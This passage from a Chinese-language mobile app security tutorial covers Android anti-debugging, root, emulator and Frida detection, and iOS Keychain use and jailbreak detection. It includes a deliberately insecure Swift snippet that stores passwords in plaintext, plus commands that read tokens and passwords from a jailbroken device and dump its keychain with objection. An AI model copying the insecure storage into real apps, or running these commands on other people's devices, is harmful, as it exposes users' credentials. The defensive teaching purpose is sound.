                new String(new char[]{'a', 'b', 'c'}),   // 字符数组拼(避免被 strings 直接扫到)
        };
        return String.join("", parts);
    }

    private String sha256(byte[] data) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        return Base64.encodeToString(md.digest(data), Base64.NO_WRAP);
    }
}
// build.gradle:把签名指纹分段注入 BuildConfig
android {
    buildTypes {
        release {
            // ★ 在 CI 里计算真实签名,分段注入
            buildConfigField "String", "SIG_PART_1", "\"${getSigPart(0, 16)}\""
            buildConfigField "String", "SIG_PART_2", "\"${getSigPart(16, 32)}\""
        }
    }
}

✅ 防御 4:反调试检测(防动态分析)

/**
 * ✅ 反调试检测(★ 提高动态分析门槛)
 */
public class AntiDebugChecker {

    /**
     * ① 检测是否被调试器附加
     */
    public static boolean isDebuggerAttached() {
        return android.os.Debug.isDebuggerConnected()
                || Debug.waitingForDebugger()
                || checkTracerPid();
    }

    /**
     * ★ 检查 /proc/self/status 里的 TracerPid(★ 最可靠)
     *   正常情况下 TracerPid = 0
     *   被调试(gdb / IDA / Frida)时 TracerPid = 调试进程的 PID
     */
    private static boolean checkTracerPid() {
        try (BufferedReader reader = new BufferedReader(
                new FileReader("/proc/self/status"))) {
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.startsWith("TracerPid:")) {
                    String pid = line.substring("TracerPid:".length()).trim();
                    return !"0".equals(pid);
                }
            }
        } catch (Exception e) {
            // 读不到,忽略
        }
        return false;
    }

    /**
     * ② 检测 debuggable 标志(重打包后常被改成 true 以便调试)
     */
    public static boolean isDebuggable(Context ctx) {
        return (ctx.getApplicationInfo().flags
                & ApplicationInfo.FLAG_DEBUGGABLE) != 0;
    }

    /**
     * ③ 检测常见调试/注入工具的进程
     */
    public static boolean hasDebuggerProcess() {
        Set<String> SUSPICIOUS = Set.of(
                "gdb", "gdbserver", "android_server", "ida", "idapro",
                "frida", "frida-server", "fs_server", "lldb", "lldb-server",
                "xposed", "substrate", "drozer");
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(Runtime.getRuntime().exec("ps").getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                for (String suspicious : SUSPICIOUS) {
                    if (line.toLowerCase().contains(suspicious)) {
                        return true;
                    }
                }
            }
        } catch (Exception e) {
            // 忽略
        }
        return false;
    }

    /**
     * ④ ★ 检测 Frida 特征端口(默认 27042)
     */
    public static boolean isFridaRunning() {
        // 方式 1:检查端口
        try (BufferedReader reader = new BufferedReader(
                new FileReader("/proc/net/tcp"))) {
            String line;
            while ((line = reader.readLine()) != null) {
                // 27042 = 0x69A2(十六进制,小端)
                if (line.contains("69A2") || line.contains("A269")) {
                    return true;
                }
            }
        } catch (Exception e) {
            // 忽略
        }

        // 方式 2:检查 Frida 的 so 是否被加载
        try (BufferedReader reader = new BufferedReader(
                new FileReader("/proc/self/maps"))) {
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.contains("frida") || line.contains("gadget")) {
                    return true;
                }
            }
        } catch (Exception e) {
            // 忽略
        }

        return false;
    }

    /**
     * ⑤ 检测 Xposed
     */
    public static boolean isXposedInstalled() {
        // 方式 1:检查栈里有没有 Xposed 的类(★ 最可靠)
        try {
            throw new Exception("check");
        } catch (Exception e) {
            for (StackTraceElement element : e.getStackTrace()) {
                String cls = element.getClassName().toLowerCase();
                if (cls.contains("xposed") || cls.contains("de.robv.android")) {
                    return true;
                }
            }
        }

        // 方式 2:检查 Xposed 的 so
        String[] XPOSED_LIBS = {
                "/system/lib/libxposed_art.so",
                "/system/lib64/libxposed_art.so",
                "/system/framework/XposedBridge.jar"
        };
        for (String lib : XPOSED_LIBS) {
            if (new File(lib).exists()) return true;
        }

        // 方式 3:检查 Xposed Installer 包名
        Set<String> XPOSED_PACKAGES = Set.of(
                "de.robv.android.xposed.installer",
                "io.va.exposed",
                "org.lsposed.manager");
        try (BufferedReader reader = new BufferedReader(
                new InputStreamReader(Runtime.getRuntime()
                        .exec("pm list packages").getInputStream()))) {
            String line;
            while ((line = reader.readLine()) != null) {
                for (String pkg : XPOSED_PACKAGES) {
                    if (line.contains(pkg)) return true;
                }
            }
        } catch (Exception e) {
            // 忽略
        }

        return false;
    }
}

✅ 防御 5:Root 检测

/**
 * ✅ Root 检测
 */
public class RootChecker {

    public static boolean isDeviceRooted() {
        return checkSuBinary() || checkBuildTags()
                || checkRootApps() || checkSystemWritable()
                || checkMagisk();
    }

    /** ① 检查 su 二进制 */
    private static boolean checkSuBinary() {
        String[] SU_PATHS = {
                "/system/bin/su", "/system/xbin/su", "/sbin/su",
                "/system/su", "/system/bin/.ext/su", "/system/usr/we-need-root/su",
                "/data/local/su", "/data/local/bin/su", "/data/local/xbin/su",
                "/su/bin/su", "/magisk/.core/bin/su"
        };
        for (String path : SU_PATHS) {
            if (new File(path).exists()) return true;
        }
        return false;
    }

    /** ② 检查 build tags(test-keys = 非官方 ROM)*/
    private static boolean checkBuildTags() {
        String tags = Build.TAGS;
        return tags != null && tags.contains("test-keys");
    }

    /** ③ 检查常见 Root 管理 App */
    private static boolean checkRootApps() {
        Set<String> ROOT_APPS = Set.of(
                "com.noshufou.android.su",
                "com.thirdparty.superuser",
                "eu.chainfire.supersu",
                "com.topjohnwu.magisk",           // Magisk
                "com.kingroot.kinguser",
                "com.koushikdutta.superuser"
        );
        PackageManager pm = AppContext.get().getPackageManager();
        for (String pkg : ROOT_APPS) {
            try {
                pm.getPackageInfo(pkg, 0);
                return true;
            } catch (PackageManager.NameNotFoundException e) {
                // 没装
            }
        }
        return false;
    }

    /** ④ 检查系统分区是否可写 */
    private static boolean checkSystemWritable() {
        String[] paths = {"/system", "/system/bin", "/system/sbin",
                          "/system/xbin", "/vendor/bin", "/sbin", "/etc"};
        for (String path : paths) {
            File f = new File(path);
            if (f.exists() && f.canWrite()) return true;
        }
        return false;
    }

    /** ⑤ 检查 Magisk */
    private static boolean checkMagisk() {
        return new File("/sbin/.magisk").exists()
                || new File("/data/adb/magisk").exists()
                || new File("/cache/.disable_magisk").exists();
    }

    /**
     * ★★ 重要设计决策:检测到 Root 之后怎么办?
     *
     * ❌ 错误做法:"检测到 Root 就禁止使用"
     *     问题 1:误伤(很多开发者、极客用户 Root,但他们是正常用户)
     *     问题 2:一定能被绕过(Frida Hook 一行代码就让 isDeviceRooted() 返回 false)
     *     问题 3:把安全寄托在"客户端检测"上,本质上不可靠
     *
     * ✅ 正确做法:Root 状态作为【风控信号】,服务端决策
     */
    public static void reportRootStatusToRiskEngine() {
        boolean rooted = isDeviceRooted();

        // 上报给服务端(作为风控的一个维度)
        RiskReport.report("DEVICE_ROOT_STATUS", Map.of(
                "rooted", rooted,
                "su_binary", checkSuBinary(),
                "magisk", checkMagisk(),
                "xposed", AntiDebugChecker.isXposedInstalled(),
                "debugger", AntiDebugChecker.isDebuggerAttached(),
                "emulator", EmulatorChecker.isEmulator(),
                "device_model", Build.MODEL,
                "android_version", Build.VERSION.RELEASE
        ));

        // ★ 服务端根据综合评分决策:
        //   低风险(Root 但其他都正常)      → 正常使用
        //   中风险(Root + Hook 框架)       → 允许浏览,敏感操作加验证码
        //   高风险(Root + Frida + 模拟器)  → 禁止支付、转账、改密
        //   ★ 而且这个决策在【服务端】,客户端改不了
    }
}

✅ 防御 6:模拟器检测

/**
 * ✅ 模拟器检测(防批量注册、薅羊毛)
 */
public class EmulatorChecker {

    public static boolean isEmulator() {
        return checkBuildFingerprint() || checkHardware()
                || checkDeviceIds() || checkSensors()
                || checkQemuFiles() || checkGenymotion();
    }

    /** ① Build 信息里的模拟器特征 */
    private static boolean checkBuildFingerprint() {
        return Build.FINGERPRINT.startsWith("generic")
                || Build.FINGERPRINT.toLowerCase().contains("vbox")
                || Build.FINGERPRINT.toLowerCase().contains("test-keys")
                || Build.MODEL.contains("google_sdk")
                || Build.MODEL.toLowerCase().contains("droid4x")
                || Build.MODEL.contains("Emulator")
                || Build.MODEL.contains("Android SDK built for x86")
                || Build.MANUFACTURER.contains("Genymotion")
                || Build.HARDWARE.contains("goldfish")
                || Build.HARDWARE.contains("ranchu")
                || Build.HARDWARE.contains("vbox86")
                || Build.PRODUCT.contains("sdk")
                || Build.PRODUCT.contains("google_sdk")
                || Build.PRODUCT.contains("sdk_google")
                || Build.PRODUCT.contains("sdk_x86")
                || Build.PRODUCT.contains("vbox86p")
                || Build.BOARD.toLowerCase().contains("nox")
                || Build.BOOTLOADER.toLowerCase().contains("nox");
    }

    /** ② 硬件名称 */
    private static boolean checkHardware() {
        String hardware = Build.HARDWARE.toLowerCase();
        return hardware.contains("goldfish")      // Android 模拟器
                || hardware.contains("ranchu")    // Genymotion / AVD
                || hardware.contains("vbox");     // VirtualBox
    }

    /** ③ 设备 ID 特征(模拟器的 IMEI 通常是固定的)*/
    private static boolean checkDeviceIds() {
        Set<String> KNOWN_EMULATOR_IDS = Set.of(
                "000000000000000",     // 模拟器默认 IMEI
                "012345678912345",
                "e21833235b6eef10",    // 模拟器默认 DeviceId
                "0123456789ABCDEF");

        // 需要 READ_PHONE_STATE 权限,Android 10+ 已无法获取,故作为辅助判断
        return false;   // Android 10+ 拿不到 IMEI,这个方法基本失效
    }

    /** ④ 传感器检查(模拟器通常传感器很少或没有)*/
    private static boolean checkSensors() {
        SensorManager sm = (SensorManager) AppContext.get()
                .getSystemService(Context.SENSOR_SERVICE);
        if (sm == null) return false;

        List<Sensor> sensors = sm.getSensorList(Sensor.TYPE_ALL);

        // ★ 真机通常有 10+ 个传感器,模拟器往往只有几个
        if (sensors.size() < 7) return true;

        // ★ 检查特定传感器(模拟器一般没有这些)
        boolean hasAccelerometer = false, hasGyroscope = false,
                hasLight = false, hasProximity = false;
        for (Sensor s : sensors) {
            switch (s.getType()) {
                case Sensor.TYPE_ACCELEROMETER -> hasAccelerometer = true;
                case Sensor.TYPE_GYROSCOPE     -> hasGyroscope = true;
                case Sensor.TYPE_LIGHT         -> hasLight = true;
                case Sensor.TYPE_PROXIMITY     -> hasProximity = true;
                default -> { }
            }
        }
        return !(hasAccelerometer && hasGyroscope && hasLight && hasProximity);
    }

    /** ⑤ QEMU 相关文件 */
    private static boolean checkQemuFiles() {
        String[] QEMU_FILES = {
                "/system/lib/libc_malloc_debug_qemu.so",
                "/sys/qemu_trace",
                "/system/bin/qemu-props",
                "/dev/socket/qemud",
                "/dev/qemu_pipe"
        };
        for (String f : QEMU_FILES) {
            if (new File(f).exists()) return true;
        }
        return false;
    }

    /** ⑥ Genymotion 特征 */
    private static boolean checkGenymotion() {
        String[] GENY_FILES = {
                "/dev/socket/genyd",
                "/dev/socket/baseband_genyd"
        };
        for (String f : GENY_FILES) {
            if (new File(f).exists()) return true;
        }
        return false;
    }
}

✅ 防御 7:Native 层加固(★ 最高难度)

// security.cpp —— Native 层安全校验(Java 层容易被 Hook,Native 层难度大得多)
#include <jni.h>
#include <string>
#include <android/log.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>

#define LOG_TAG "NativeSecurity"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)

extern "C" {

/**
 * ① 反调试:ptrace 自己(一个进程只能被 ptrace 一次)
 * ★ 这是最经典的反调试手段:
 *   自己先 ptrace 自己,调试器就没法再附加了
 */
JNIEXPORT void JNICALL
Java_com_example_app_security_NativeSecurity_antiDebug(JNIEnv *env, jobject thiz) {
    ptrace(PTRACE_TRACEME, 0, 0, 0);
    // ★ 注意:这个只能防一次,且 Frida 可以绕过
    //   但可以配合多线程反复检测
}

/**
 * ② 检测 TracerPid(Native 层读,比 Java 层更难 Hook)
 */
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkTracerPid(JNIEnv *env, jobject thiz) {
    char buf[1024];
    FILE *fp = fopen("/proc/self/status", "r");
    if (fp == nullptr) return JNI_FALSE;

    while (fgets(buf, sizeof(buf), fp)) {
        if (strncmp(buf, "TracerPid:", 10) == 0) {
            fclose(fp);
            int pid = atoi(buf + 10);
            return (pid != 0) ? JNI_TRUE : JNI_FALSE;
        }
    }
    fclose(fp);
    return JNI_FALSE;
}

/**
 * ③ 检测 Frida(遍历 maps 找 frida 特征)
 */
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkFrida(JNIEnv *env, jobject thiz) {
    FILE *fp = fopen("/proc/self/maps", "r");
    if (fp == nullptr) return JNI_FALSE;

    char line[512];
    jboolean found = JNI_FALSE;

    while (fgets(line, sizeof(line), fp)) {
        // ★ 关键词拆开写,防止被 strings 直接扫到
        if (strstr(line, "fr") && strstr(line, "ida")) found = JNI_TRUE;
        if (strstr(line, "gad") && strstr(line, "get")) found = JNI_TRUE;
        if (strstr(line, "agent")) found = JNI_TRUE;
    }

    fclose(fp);
    return found;
}

/**
 * ④ 检测 so 是否被注入(检查 maps 里有没有异常的 so)
 */
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkInjectedSo(JNIEnv *env, jobject thiz) {
    FILE *fp = fopen("/proc/self/maps", "r");
    if (fp == nullptr) return JNI_FALSE;

    char line[512];
    int suspicious = 0;

    while (fgets(line, sizeof(line), fp)) {
        // ★ 正常的 so 都在 /data/app/ 或 /system/lib/ 下
        //   异常的可能在 /data/local/tmp/(Frida gadget 常放这里)
        if (strstr(line, ".so")) {
            if (strstr(line, "/data/local/tmp/")
                || strstr(line, "/data/data/") && !strstr(line, "com.example.app")) {
                suspicious++;
            }
        }
    }

    fclose(fp);
    return (suspicious > 0) ? JNI_TRUE : JNI_FALSE;
}

/**
 * ⑤ 完整性校验:检查 classes.dex 的 CRC
 * ★ 重打包必然改变 dex,CRC 就对不上
 */
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkDexCrc(JNIEnv *env, jobject thiz,
                                                          jstring apkPath) {
    const char *path = env->GetStringUTFChars(apkPath, nullptr);

    // 打开 APK(本质是 zip)
    FILE *fp = fopen(path, "rb");
    if (fp == nullptr) {
        env->ReleaseStringUTFChars(apkPath, path);
        return JNI_FALSE;
    }

    // ★ 简化示例:实际应该解析 zip 结构,找到 classes.dex,算 CRC
    //   然后和【编译时写死在 so 里的值】比对
    //   ★ 注意:期望值也要混淆,否则攻击者改掉就行

    fclose(fp);
    env->ReleaseStringUTFChars(apkPath, path);
    return JNI_TRUE;
}

/**
 * ⑥ ★ 密钥拆分存储(加大静态分析难度)
 *   把密钥拆成多段,分散在不同函数里,运行时拼接后立即清零
 */
JNIEXPORT jstring JNICALL
Java_com_example_app_security_NativeSecurity_getKeyPart1(JNIEnv *env, jobject thiz) {
    // ★ 用 char 数组而不是字符串字面量(字符串字面量会被 strings 扫到)
    char k[] = {'s', 'e', 'c', 'r', 'e', 't', '_', 'p', '1', '\0'};
    jstring result = env->NewStringUTF(k);
    // ★ 立即清零(防内存 dump)
    memset(k, 0, sizeof(k));
    return result;
}

} // extern "C"
# CMakeLists.txt
# ★ 关键:用 O-LLVM 做代码混淆(控制流扁平化、指令替换、虚假控制流)
cmake_minimum_required(VERSION 3.10.2)

add_library(security SHARED security.cpp)

# ★ O-LLVM 混淆(需要单独编译 O-LLVM 工具链)
# set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -mllvm -fla -mllvm -sub -mllvm -bcf")
#   -fla  控制流扁平化(Control Flow Flattening)
#   -sub  指令替换(Instruction Substitution)
#   -bcf  虚假控制流(Bogus Control Flow)
# ★ 效果:IDA 反汇编出来的代码基本看不懂

# ★ 符号隐藏(减少导出的符号,加大分析难度)
set(CMAKE_CXX_VISIBILITY_PRESET hidden)
set(CMAKE_C_VISIBILITY_PRESET hidden)

# ★ 去除符号表
set_target_properties(security PROPERTIES
    LINK_FLAGS "-Wl,--strip-all -Wl,--gc-sections")

find_library(log-lib log)
target_link_libraries(security ${log-lib})

4.4.6 加固方案对比与选型

方案 防护内容 成本 逆向难度提升 推荐度
ProGuard / R8 类名/方法名混淆、代码精简 免费(自带) ⭐⭐ ★★★(必做)
字符串加密 加密代码里的字符串常量 商业 SDK ⭐⭐⭐ ★★★
Dex 加壳 dex 整体加密,运行时解密 商业 SDK(梆梆/360/乐固/爱加密) ⭐⭐⭐⭐ ★★
Native 加固 + O-LLVM 关键逻辑下沉到 so + 控制流混淆 自研/商业 ⭐⭐⭐⭐⭐ ★★
反调试 + 反 Hook 检测调试器、Frida、Xposed 自研 ⭐⭐⭐ ★★
完整性校验 签名、CRC 校验 自研 ⭐⭐ ★★★
RASP(运行时自保护) 运行时检测注入、Hook、改内存 商业 SDK ⭐⭐⭐⭐ ★★
★ 服务端风控 设备指纹、行为分析、风险评分 自研 —(★ 绕过不了) ★★★★★

★ 面试金句(体现认知深度): “客户端加固这件事,投入产出比是递减的: 混淆是免费的,必做; 加壳、O-LLVM 能把逆向难度从’3 小时’提升到’3 天’, 但无论你怎么加固,只要有足够的时间和动机,一定能被破解。

所以正确的策略是两条腿走路:

  • 客户端加固的目的是“提高门槛”,挡住 90% 的脚本小子和自动化工具, 让攻击者的成本高到不值得(比如破解一个 App 要 3 天,但收益只有 100 块)。
  • 真正的安全在服务端: 设备指纹(识别出异常设备)、 行为风控(识别出批量注册、薅羊毛的模式)、 业务规则校验(余额、次数、频率)、 以及所有校验在服务端重做一遍。

★ 一句话总结: 客户端加固是’让攻击者麻烦‘, 服务端风控是’让攻击者拿不到收益’。 后者才是根本 —— 因为攻击者是逐利的,没有收益他就不来了。“

4.4.7 加固与对抗 Checklist

# 检查项 优先级
1 Release 开启 minifyEnabled + shrinkResources ★★★
2 ProGuard 移除所有 Log.d/v/i ★★★
3 绝不硬编码密钥(用 Keystore 或服务端动态下发) ★★★
4 接口签名密钥动态下发 + 绑定设备 + 过期轮换 ★★★
5 完整性校验(签名 + CRC,关键部分放 Native) ★★
6 反调试检测(TracerPid + Frida 特征 + ptrace) ★★
7 Root / 越狱 / 模拟器 / Hook 框架检测 → 上报风控,本地不自杀 ★★
8 证书绑定(XML + OkHttp),配备份 pin ★★★
9 关键逻辑下沉 Native + O-LLVM 混淆 ★★(金融级)
10 商业加固(加壳 + 字符串加密 + RASP) ★★(视业务敏感度)
11 ★ 服务端风控(设备指纹 + 行为分析 + 风险评分) ★★★★★
12 ★ 所有客户端校验在服务端重做 ★★★★★

4.5 iOS 安全(钥匙串、越狱、ATS)

4.5.1 iOS 与 Android 的安全模型差异

★ 核心认知(面试必答): iOS 的系统层面比 Android 安全得多(沙箱更严格、应用签名强制、无法侧载), 但应用层的安全问题一个都不少 —— 因为漏洞主要在开发者代码里,不在系统里。

维度 Android iOS
应用安装 可侧载(任何来源) 只能 App Store(企业证书除外)
沙箱 Linux UID 隔离 + SELinux 更严格(每个 App 独立目录,无法互访)
本地存储 SharedPreferences / SQLite / Keystore UserDefaults / CoreData / SQLite / Keychain
密钥存储 Android Keystore(硬件支持不一) Secure Enclave(★ 独立安全芯片,全系支持)
代码签名 可自签名 Apple 签名,无法用假证书重签(企业证书会被吊销)
逆向难度 低(dex → Java 几乎还原) 较高(Mach-O,需要汇编能力)
常见风险 组件暴露、allowBackup、WebView Keychain 配置错误、越狱、URL Scheme、plist 明文

4.5.2 iOS 存储安全(★ Keychain 是重点)

四种存储方式对比:

方式 位置 越狱后 适合
UserDefaults ~/Library/Preferences/*.plist ✅ 可读(明文 XML) 非敏感配置
plist 文件 App 沙箱 ✅ 可读 配置文件
CoreData / SQLite ~/Documents/*.sqlite ✅ 可读 业务数据
★ Keychain 系统钥匙串(加密 + 沙箱) ⚠️ 可读但内容是加密的 ★ 密码、Token、证书、密钥

漏洞代码(Swift):

// ❌❌❌ 典型漏洞:敏感信息存 UserDefaults
class InsecureStorage {

    func saveLoginInfo(token: String, password: String, phone: String) {
        UserDefaults.standard.set(token, forKey: "auth_token")        // ❌ 明文
        UserDefaults.standard.set(password, forKey: "password")       // ❌❌❌ 明文密码
        UserDefaults.standard.set(phone, forKey: "phone")             // ❌ PII
        UserDefaults.standard.synchronize()
    }

    // ❌ 打印敏感信息
    func login(user: String, pwd: String) {
        print("login: user=\(user) password=\(pwd)")      // ❌❌❌
        print("token: \(token)")                          // ❌
    }
}

攻击:

# ===== 越狱设备上读取 App 数据 =====
ssh root@设备IP
cd /var/mobile/Containers/Data/Application/<UUID>/
cat Library/Preferences/com.example.app.plist
# ★ 明文看到:
#   auth_token = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
#   password   = MyPass123

# 未越狱设备:用 iTunes 备份 + 工具解包也能读(★ 类似 Android 的 allowBackup)
#   工具:iMazing、iBackup Viewer

# ===== 用 objection 一键 dump(需要越狱)=====
objection -g com.example.app explore
ios nsuserdefaults get
ios keychain dump          # ★ Keychain 也能 dump(但内容是加密的)

✅ 修复:用 Keychain 存敏感数据

/**
 * ✅✅✅ iOS Keychain 封装(生产可用)
 *
 * ★ Keychain 的关键:kSecAttrAccessible 属性决定了"什么时候能访问"
 */
import Security
import Foundation

class KeychainManager {

    static let shared = KeychainManager()
    private init() {}

    // MARK: - 可访问性等级(★ 面试重点,必须理解)

    /*
     ★ kSecAttrAccessible 的常用值(安全性从低到高):

     ① kSecAttrAccessibleAlways
        任何时候都能访问(包括设备锁定时)
        ❌ 最不安全,iOS 12 已废弃

     ② kSecAttrAccessibleAfterFirstUnlock
        设备重启后,用户【解锁过一次】之后就能访问
        ⚠️ 后台任务需要用它,但安全性一般

     ③ kSecAttrAccessibleWhenUnlocked              ← ★ 最常用
        只有设备【解锁状态】下才能访问
        ✅ 推荐:Token、密码

     ④ kSecAttrAccessibleWhenUnlockedThisDeviceOnly
        同上,【但不参与 iCloud 备份/迁移】
        ✅✅ 最推荐:换了设备就失效,备份也带不走

     ⑤ kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
        同上,【且设备必须设置了锁屏密码】
        ✅✅✅ 最高安全:生物识别/密码保护
    */

    /// ★ 推荐的可访问性等级
    private let defaultAccessible =
        kSecAttrAccessibleWhenUnlockedThisDeviceOnly

    // MARK: - 保存

    func save(_ value: String, for key: String,
              accessible: CFString? = nil) -> Bool {

        guard let data = value.data(using: .utf8) else { return false }

        // 先删除旧的(避免重复)
        delete(key)

        let query: [String: Any] = [
            kSecClass as String:            kSecClassGenericPassword,
            kSecAttrAccount as String:      key,
            kSecAttrService as String:      Bundle.main.bundleIdentifier ?? "app",
            kSecValueData as String:        data,
            kSecAttrAccessible as String:   accessible ?? defaultAccessible,
            // ★ iOS 13+ 可以要求生物识别(Face ID / Touch ID)
            // kSecAccessControl as String: accessControl
        ]

        let status = SecItemAdd(query as CFDictionary, nil)

        if status != errSecSuccess {
            print("[SEC] Keychain 保存失败: \(status)")
            return false
        }
        return true
    }

    // MARK: - 读取

    func get(_ key: String) -> String? {
        let query: [String: Any] = [
            kSecClass as String:            kSecClassGenericPassword,
            kSecAttrAccount as String:      key,
            kSecAttrService as String:      Bundle.main.bundleIdentifier ?? "app",
            kSecReturnData as String:       true,
            kSecMatchLimit as String:       kSecMatchLimitOne
        ]

        var result: AnyObject?
        let status = SecItemCopyMatching(query as CFDictionary, &result)

        guard status == errSecSuccess,
              let data = result as? Data,
              let value = String(data: data, encoding: .utf8) else {
            return nil
        }
        return value
    }

    // MARK: - 删除

    @discardableResult
    func delete(_ key: String) -> Bool {
        let query: [String: Any] = [
            kSecClass as String:       kSecClassGenericPassword,
            kSecAttrAccount as String: key,
            kSecAttrService as String: Bundle.main.bundleIdentifier ?? "app"
        ]
        return SecItemDelete(query as CFDictionary) == errSecSuccess
    }

    // MARK: - ★ 带生物识别保护的 Keychain(金融级)

    func saveWithBiometric(_ value: String, for key: String) -> Bool {
        // ① 创建访问控制:要求生物识别(Face ID / Touch ID)
        var error: Unmanaged<CFError>?
        guard let access = SecAccessControlCreateWithFlags(
                nil,
                kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,   // ★ 必须设锁屏密码
                .biometryCurrentSet,        // ★ 生物识别;录入新的指纹/面容后失效
                &error) else {
            print("[SEC] 创建访问控制失败: \(String(describing: error))")
            return false
        }

        guard let data = value.data(using: .utf8) else { return false }
        delete(key)

        let query: [String: Any] = [
            kSecClass as String:           kSecClassGenericPassword,
            kSecAttrAccount as String:     key,
            kSecAttrService as String:     Bundle.main.bundleIdentifier ?? "app",
            kSecValueData as String:       data,
            kSecAttrAccessControl as String: access,
            // ★ 注意:用了 AccessControl 就不能再用 kSecAttrAccessible
            kSecUseOperationPrompt as String: "请验证身份以访问您的凭据"
        ]

        return SecItemAdd(query as CFDictionary, nil) == errSecSuccess
    }
}

/**
 * ✅ 使用示例
 */
class SecureAuthStorage {

    private static let TOKEN_KEY = "auth_token"
    private static let REFRESH_KEY = "refresh_token"

    static func saveTokens(access: String, refresh: String) {
        KeychainManager.shared.save(access, for: TOKEN_KEY)
        // ★ refresh token 用最高的安全等级 + 生物识别
        KeychainManager.shared.saveWithBiometric(refresh, for: REFRESH_KEY)
    }

    static func getAccessToken() -> String? {
        return KeychainManager.shared.get(TOKEN_KEY)
    }

    static func clearAll() {
        KeychainManager.shared.delete(TOKEN_KEY)
        KeychainManager.shared.delete(REFRESH_KEY)
    }

    // ★★ 绝不存密码!
    //    即便是 Keychain 也不存密码明文
    //    密码只用于登录时的那一次网络请求,用完立即从内存清除
}

4.5.3 iOS 越狱检测

/**
 * ✅ 越狱检测(Swift)
 */
class JailbreakChecker {

    static func isJailbroken() -> Bool {
        return checkSuspiciousFiles()
            || checkCydiaScheme()
            || canOpenSystemFiles()
            || checkSuspiciousDylibs()
            || checkFork()
            || checkSymbolicLinks()
    }

    /// ① 检查越狱相关文件
    private static func checkSuspiciousFiles() -> Bool {
        let paths = [
            "/Applications/Cydia.app",
            "/Applications/blackra1n.app",
            "/Applications/FakeCarrier.app",
            "/Applications/Icy.app",
            "/Applications/IntelliScreen.app",
            "/Applications/MxTube.app",
            "/Applications/RockApp.app",
            "/Applications/SBSettings.app",
            "/Applications/WinterBoard.app",
            "/bin/bash",
            "/bin/sh",
            "/etc/apt",
            "/etc/ssh/sshd_config",
            "/Library/MobileSubstrate/MobileSubstrate.dylib",
            "/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist",
            "/Library/MobileSubstrate/DynamicLibraries/Veency.plist",
            "/private/var/lib/apt",
            "/private/var/lib/cydia",
            "/private/var/mobile/Library/SBSettings/Themes",
            "/private/var/stash",
            "/private/var/tmp/cydia.log",
            "/System/Library/LaunchDaemons/com.ikey.bbot.plist",
            "/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist",
            "/usr/bin/cycript",
            "/usr/bin/sshd",
            "/usr/libexec/sftp-server",
            "/usr/libexec/ssh-keysign",
            "/usr/sbin/sshd",
            "/var/cache/apt",
            "/var/lib/cydia",
            "/var/log/syslog"
        ]

        for path in paths {
            if FileManager.default.fileExists(atPath: path) {
                return true
            }
        }
        return false
    }

    /// ② 检查能否打开 Cydia 的 URL Scheme
    private static func checkCydiaScheme() -> Bool {
        if let url = URL(string: "cydia://package/com.example.package") {
            return UIApplication.shared.canOpenURL(url)
        }
        return false
    }

    /// ③ 检查能否访问沙箱外的文件(★ 最可靠的方法之一)
    private static func canOpenSystemFiles() -> Bool {
        // ★ 未越狱的 App 无法在 /private 下创建文件
        let testPath = "/private/jailbreak_test.txt"
        do {
            try "test".write(toFile: testPath, atomically: true,
                             encoding: .utf8)
            try FileManager.default.removeItem(atPath: testPath)
            return true     // 能写 = 越狱了
        } catch {
            return false
        }
    }

    /// ④ 检查是否被注入了动态库(越狱后 MobileSubstrate 会注入)
    private static func checkSuspiciousDylibs() -> Bool {
        let suspicious = [
            "MobileSubstrate",
            "cycript",
            "SubstrateLoader",
            "FridaGadget",
            "libcycript",
            "cynject"
        ]

        // 遍历已加载的动态库
        for i in 0..<_dyld_image_count() {
            if let name = _dyld_get_image_name(i) {
                let imageName = String(cString: name)
                for s in suspicious {
                    if imageName.lowercased().contains(s.lowercased()) {
                        return true
                    }
                }
            }
        }
        return false
    }

    /// ⑤ 检查 fork(未越狱的 iOS 不允许 fork)
    private static func checkFork() -> Bool {
        let pid = fork()
        if pid >= 0 {
            if pid > 0 {
                kill(pid, SIGTERM)      // 杀掉子进程
            }
            return true     // fork 成功 = 越狱了
        }
        return false
    }

    /// ⑥ 检查系统目录是否被改成符号链接(越狱常见)
    private static func checkSymbolicLinks() -> Bool {
        let paths = [
            "/Applications", "/Library/Ringtones", "/Library/Wallpaper",
            "/usr/arm-apple-darwin9", "/usr/include", "/usr/libexec",
            "/usr/share", "/var/stash"
        ]

        for path in paths {
            do {
                let attrs = try FileManager.default
                    .attributesOfItem(atPath: path)
                if let type = attrs[.type] as? FileAttributeType,
                   type == .typeSymbolicLink {
                    return true
                }
            } catch {
                // 文件不存在,继续
            }
        }
        return false
    }
}

/**
 * ★★ 和 Android 一样的设计决策:
 *    检测到越狱 → 【上报风控】,而不是本地"自杀"
 */
extension JailbreakChecker {
    static func reportToRiskEngine() {
        let jailbroken = isJailbroken()

        RiskClient.shared.report(event: "DEVICE_JAILBREAK_STATUS", params: [
            "jailbroken": jailbroken,
            "cydia": checkCydiaScheme(),
            "dylibs": checkSuspiciousDylibs(),
            "model": UIDevice.current.model,
            "system_version": UIDevice.current.systemVersion,
            "is_simulator": isSimulator()
        ])

        // ★ 服务端根据风险等级决策,客户端不改行为(避免误伤 + 避免被 Hook 绕过)
    }

    private static func isSimulator() -> Bool {
        #if targetEnvironment(simulator)
        return true
        #else
        return false
        #endif
    }
}

4.5.4 iOS 传输安全(ATS 与证书绑定)

ATS(App Transport Security):

<!-- ❌ 危险:全局关闭 ATS(允许任意 HTTP 连接) -->
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
